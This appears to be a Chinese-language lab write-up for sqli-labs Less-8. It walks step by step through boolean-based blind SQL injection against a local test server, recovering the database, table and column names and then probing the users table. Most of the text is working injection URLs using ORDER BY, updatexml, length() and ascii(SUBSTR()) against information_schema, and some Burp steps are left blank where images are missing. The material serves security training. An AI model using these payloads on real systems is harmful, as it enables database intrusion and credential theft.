目录
1.首先给出value
2.判断注入类型
3.判断字段数
4.判断用什么注入
(1)用union联合查询来尝试
(2)用报错注入尝试
(3)用布尔盲注来进行查询
5.判断当前数据库名的长度
(1)将所需要的变量加§,并选择束集炸弹
(2)将变量1改为
(3)将变量2改为
(4)得到最终结果
(5)根据ascii码将结果进行查询得到
6.判断表名
(1)判断表的数量
(2)查询每个表名的长度
(3)查询表名
7.判断字段名
(1)判断字段数量
(2)判断每个字段的长度
(3)判读字段名
8.查询最终结果username和password
1.首先给出value
http://127.0.0.3/less-8/?id=1 有回显
2.判断注入类型
http://127.0.0.3/less-8/?id=1 有回显
http://127.0.0.3/less-8/?id=1’ 没有回显
http://127.0.0.3/less-8/?id=1’ -- s 有回显
http://127.0.0.3/less-8/?id=1' and 1=1 -- s 有回显
http://127.0.0.3/less-8/?id=1' and 1=2 -- s 没有回显
说明注入类型是单引号字符串注入
3.判断字段数
http://127.0.0.3/less-8/?id=1' order by 3 -- s 有回显
http://127.0.0.3/less-8/?id=1' order by 4 -- s 没有回显
说明字段数为3
4.判断用什么注入
(1)用union联合查询来尝试
http://127.0.0.3/less-8/?id=1' UNION SELECT 1,database,3 -- s 没有回显说明不是union联合查询
(2)用报错注入尝试
http://127.0.0.3/less-8/?id=1' and updatexml('<a><b></b></a>',concat('1111',database(),'1'),'1') -- s 没有回显说明不是报错注
(3)用布尔盲注来进行查询
http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s 有回显
则证明是布尔盲注
5.判断当前数据库名的长度
http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s 有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s 有回显
则证明数据库名长度为8
用burp进行爆破
(1)将所需要的变量加§,并选择束集炸弹
(2)将变量1改为
(3)将变量2改为
(4)得到最终结果
(5)根据ascii码将结果进行查询得到
数据库名为security
6.判断表名
(1)判断表的数量
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) =4 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >3 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >4 -- s 没有回显
说明security中有4个表
(2)查询每个表名的长度
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) =6 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >10 -- s 没有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >5 -- s 有回显
说明第一个表名的的长度为6
用burp爆破
将所需要的变量加§,并选择束集炸弹
将变量1改为
将变量2改为
最终结果为
(3)查询表名
第一个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)) = 1 -- s
通过burp爆破步骤同上得到
所以第一个表名为:emails
第二个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1)) = 1 -- s
所以第二个表名为:refere
第三个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1),1,1)) = 1 -- s
所以第三个表名为:uagent
第四个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 3,1),1,1)) = 1 -- s
所以第四个表名为:users
查到users用户表名
7.判断字段名
(1)判断字段数量
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =2 -- s无回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =3 -- s 有回显
说明字段名的字段数是3
(2)判断每个字段的长度
用SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1
用burp爆破,步骤同上得到
所以字段1的长度为2,字段2的长度为8,字段3的长度为8
(3)判读字段名
步骤同上
1
2
3
查询得
所以第一个字段名为id,第二个字段名为username,第三个字段名为password
8.查询最终结果username和password
查询username和password总数
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(username) FROM users) =13 -- s
Username=13
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(password) FROM users) =13 -- s
Password=13
查询username和password的最终结果
Username
passowrd同理